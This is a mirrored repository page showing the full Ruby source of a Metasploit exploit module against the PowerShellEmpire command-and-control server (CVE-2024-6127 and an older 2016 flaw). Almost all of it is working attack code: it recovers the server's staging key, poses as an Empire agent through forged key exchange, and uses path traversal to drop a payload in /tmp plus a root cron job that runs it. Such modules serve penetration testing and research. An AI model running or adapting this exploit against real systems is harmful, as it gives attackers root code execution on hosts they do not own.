/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/linux/http/empire_skywalker.rb
451 строка
17 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in linux/http exploit modules (A-M)
22 апр 2026, 15:08
22 апр 2026, 15:08
2cbb394
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck GENERATOR = 2 PRIME = '0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A087'\ '98E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5C'\ 'B6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163'\ 'FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C3290'\ '5E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D'\ '2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3'\ '970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A645'\ '21F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A9210801'\ '1A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF'\ '92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76217048'\ '1CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB260264'\ '6DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B'\ '14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D17'\ '21D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF'\ '585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8'\ 'A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E'\ '6DCC4024FFFFFFFFFFFFFFFF'.to_i(16) STAGE0 = 1 STAGE1 = 2 STAGE2 = 3 RESULT_POST = 5 TASK_DOWNLOAD = 41 def initialize(info = {}) super( update_info( info, 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)', 'Description' => %q{ A vulnerability existed in the new Empire (maintained by BC Security) prior to commit e73e883 (<v5.9.3) or the original PowerShellEmpire server prior to commit f030cf62 which would allow an arbitrary file to be written to an attacker controlled location with the permissions of the Empire server. This exploit will write the payload to /tmp/ directory followed by a cron.d file to execute the payload. }, 'Author' => [ 'Spencer McIntyre', # Vulnerability discovery & original Metasploit module 'Erik Daguerre', # Original Metasploit module 'ACE-Responder', # Patch bypass discovery & Python PoC 'Takahiro Yokoyama' # Update Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-6127'], # patch bypass ['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found. ['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass ['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass ], 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], 'DefaultOptions' => { 'WfsDelay' => 75 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2016-10-15', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(8080), # original OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]), OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]), OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]), # patch bypass OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]), OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]), OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko']) ] ) end def check @staging_key = get_staging_key return Exploit::CheckCode::Safe('The target is not vulnerable') if @staging_key.nil? Exploit::CheckCode::Appears('The target appears to be vulnerable') end def aes_encrypt(key, data, include_mac: false) cipher = OpenSSL::Cipher.new('aes-256-cbc') cipher.encrypt iv = cipher.random_iv cipher.key = key cipher.iv = iv data = iv + cipher.update(data) + cipher.final digest = OpenSSL::Digest.new('sha1') data << OpenSSL::HMAC.digest(digest, key, data) if include_mac data end def create_packet(res_id, data, counter = nil) data = Rex::Text.encode_base64(data) counter = Time.new.to_i if counter.nil? [ res_id, counter, data.length ].pack('VVV') + data end def reversal_key # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016) [ [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d], [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29], [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a], [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24] ] end def rsa_encode_int(value) encoded = [] while value > 0 encoded << (value & 0xff) value >>= 8 end Rex::Text.encode_base64(encoded.reverse.pack('C*')) end def rsa_key_to_xml(rsa_key) rsa_key_xml = "<RSAKeyValue>\n" rsa_key_xml << " <Exponent>#{rsa_encode_int(rsa_key.e.to_i)}</Exponent>\n" rsa_key_xml << " <Modulus>#{rsa_encode_int(rsa_key.n.to_i)}</Modulus>\n" rsa_key_xml << '</RSAKeyValue>' rsa_key_xml end def get_staging_key # patch bypass if datastore['CVE'] == 'CVE-2024-6127' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'download/python/') }) return unless res && res.code == 200 match = /IV\+'(.*)'\.encode/.match(res.body) return match[1].bytes if match return end # STAGE0_URI resource requested by the initial launcher # The default STAGE0_URI resource is index.asp # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI']) }) return unless res && res.code == 200 @staging_key = Array.new(32, nil) staging_data = res.body.bytes reversal_key.each_with_index do |(pos, char_code), key_pos| @staging_key[key_pos] = staging_data[pos] ^ char_code end return if @staging_key.include? nil # at this point the staging key should have been fully recovered but # we'll verify it by attempting to decrypt the header of the stage decrypted = [] staging_data[0..23].each_with_index do |byte, pos| decrypted << (byte ^ @staging_key[pos]) end return unless decrypted.pack('C*').downcase == 'function start-negotiate' @staging_key end def write_file(path, data, session_id, session_key, server_epoch) if datastore['CVE'] == 'CVE-2024-6127' write_file_cve_2024_6127(path, data, session_id, session_key) return end # target_url.path default traffic profile for empire agent communication # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50 data = create_packet( TASK_DOWNLOAD, [ '0', session_id + path, Rex::Text.encode_base64(data) ].join('|'), server_epoch ) if datastore['PROFILE'].blank? profile_uri = normalize_uri(target_uri.path, %w[admin/get.php news.asp login/process.jsp].sample) else profile_uri = normalize_uri(target_uri.path, datastore['PROFILE']) end res = send_request_cgi({ 'cookie' => "SESSIONID=#{session_id}", 'data' => aes_encrypt(session_key, data, include_mac: true), 'method' => 'POST', 'uri' => normalize_uri(profile_uri) }) fail_with(Failure::Unknown, 'Failed to write file') unless res && res.code == 200 res end def cron_file(command) cron_file = 'SHELL=/bin/sh' cron_file << "\n" cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' cron_file << "\n" cron_file << "* * * * * root #{command}" cron_file << "\n" cron_file end def exploit vprint_status('Recovering the staging key...') @staging_key ||= get_staging_key if @staging_key.nil? fail_with(Failure::Unknown, 'Failed to recover the staging key') end vprint_good("Successfully recovered the staging key: #{@staging_key.map { |b| b.to_s(16) }.join(':')}") @staging_key = @staging_key.pack('C*') case datastore['CVE'] when 'CVE-2024-6127' # stage0 # This stage is unnecessary for our purposes. session_id = SecureRandom.alphanumeric(8).upcase dummy = SecureRandom.alphanumeric(8) send_data_to_stage(@staging_key, dummy, STAGE0, session_id) # stage1 dh = OpenSSL::PKey::DH.new( OpenSSL::ASN1::Sequence([ OpenSSL::ASN1::Integer(PRIME), OpenSSL::ASN1::Integer(GENERATOR) ]).to_der ) if OpenSSL::PKey.respond_to?(:generate_key) dh = OpenSSL::PKey.generate_key(dh) else dh.generate_key! end private_key = dh.priv_key.to_i public_key = dh.pub_key.to_s res = send_data_to_stage(@staging_key, public_key, STAGE1, session_id) fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200 vprint_good('Successfully sent the key to STAGE1') # decrypt the response and pull out the epoch and session_key packet = aes_decrypt(@staging_key, res.body) nonce = packet[..15].to_i server_pub = packet[16..].to_i shared_secret = server_pub.pow(private_key, PRIME) # https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373 # _sharedSecretBytes = self.sharedSecret.to_bytes( # len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big" # ) # 2(0b) + 1(- 2 // 8 + 1) = 3 shared_secret = to_bytes(shared_secret, shared_secret.to_s(2).length + 3) sha = OpenSSL::Digest.new('sha256') sha.update(shared_secret) session_key = sha.digest print_good('Successfully negotiated an artificial Empire agent') # stage2 sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8') res = send_data_to_stage(session_key, sysinfo, STAGE2, session_id) fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200 aes_decrypt(session_key, res.body) server_epoch = nil log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log" else rsa_key = OpenSSL::PKey::RSA.new(2048) session_id = Array.new(50, '..').join('/') # STAGE1_URI, The resource used by the RSA key post # The default STAGE1_URI resource is index.jsp # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 res = send_request_cgi({ 'cookie' => "SESSIONID=#{session_id}", 'data' => aes_encrypt(@staging_key, rsa_key_to_xml(rsa_key)), 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI']) }) fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res && res.code == 200 vprint_good('Successfully sent the RSA key') # decrypt the response and pull out the epoch and session_key body = rsa_key.private_decrypt(res.body) server_epoch = body[0..9].to_i session_key = body[10..] print_good('Successfully negotiated an artificial Empire agent') log_path = '/agent.log' end payload_data = nil payload_path = '/tmp/' + rand_text_alpha(8) case target['Arch'] when ARCH_PYTHON cron_command = "python #{payload_path}" payload_data = payload.raw when ARCH_X86, ARCH_X64 cron_command = "chmod +x #{payload_path} && #{payload_path}" payload_data = payload.encoded_exe end print_status("Writing payload to #{payload_path}") write_file(payload_path, payload_data, session_id, session_key, server_epoch) cron_path = '/etc/cron.d/' + rand_text_alpha(8) print_status("Writing cron job to #{cron_path}") write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch) print_status('Waiting for cron job to run, can take up to 60 seconds') register_files_for_cleanup(cron_path) register_files_for_cleanup(payload_path) # Empire writes to a log file location based on the Session ID, so when # exploiting this vulnerability that file ends up in the root directory. register_files_for_cleanup(log_path) end def build_routing_packet(meta = 0, enc_data = ''.b, session_id = '00000000') data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL') rc4_iv = SecureRandom.random_bytes(4) key = rc4_iv + @staging_key rc4_enc_data = Rex::Crypto.rc4(key, data) rc4_iv + rc4_enc_data + enc_data end def aes_encrypt_then_hmac(key, data) data = aes_encrypt(key, data) mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data) data + mac[..9] end def aes_decrypt(key, data) mac = data[-10..] sha256_digest = OpenSSL::Digest.new('sha256') expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9] unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected) raise 'Invalid ciphertext received.' end size = key.length * 8 fail_with(Failure::Unknown, 'AES key width must be 128 or 256 bits') unless size == 128 || size == 256 # Create the required cipher instance aes = OpenSSL::Cipher.new("AES-#{size}-CBC") # Generate a truly random IV # set up the encryption aes.decrypt aes.key = key aes.iv = data[..15] # decrypt! aes.update(data[16..-11]) + aes.final end def compress(data) start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF comp_data = Zlib::Deflate.deflate(data) Base64.strict_encode64([start_crc32].pack('N') + comp_data) end def build_response_packet(tasking_id, packet_data) packet_type = [tasking_id].pack('S') total_packet = [1].pack('S') packet_num = [1].pack('S') result_id = [1].pack('S') packet_data = Base64.strict_encode64(packet_data) if packet_data.length % 4 != 0 packet_data += '=' * (4 - packet_data.length % 4) end length = [packet_data.length].pack('L') packet_type + total_packet + packet_num + result_id + length + packet_data end def to_bytes(num, length = 1, little_endian: false) order = little_endian ? (0...length) : (0...length).to_a.reverse bytes_array = order.map { |i| (num >> i * 8) & 0xff } bytes_array.pack('C*') end def write_file_cve_2024_6127(path, data, session_id, session_key) path = path.split('/').join('\\') packet = build_response_packet( TASK_DOWNLOAD, [ '0', Array.new(50, '..').join('\\') + path, data.length.to_s, compress(data) ].join('|') ) send_data_to_stage(session_key, packet, RESULT_POST, session_id) end def send_data_to_stage(session_key, packet, task_id, session_id) enc_packet = aes_encrypt_then_hmac(session_key, packet) data = build_routing_packet(task_id, enc_packet, session_id) res = send_request_cgi({ 'data' => data, 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']), 'headers' => { 'Cookie' => datastore['AGENT'] } }) res end end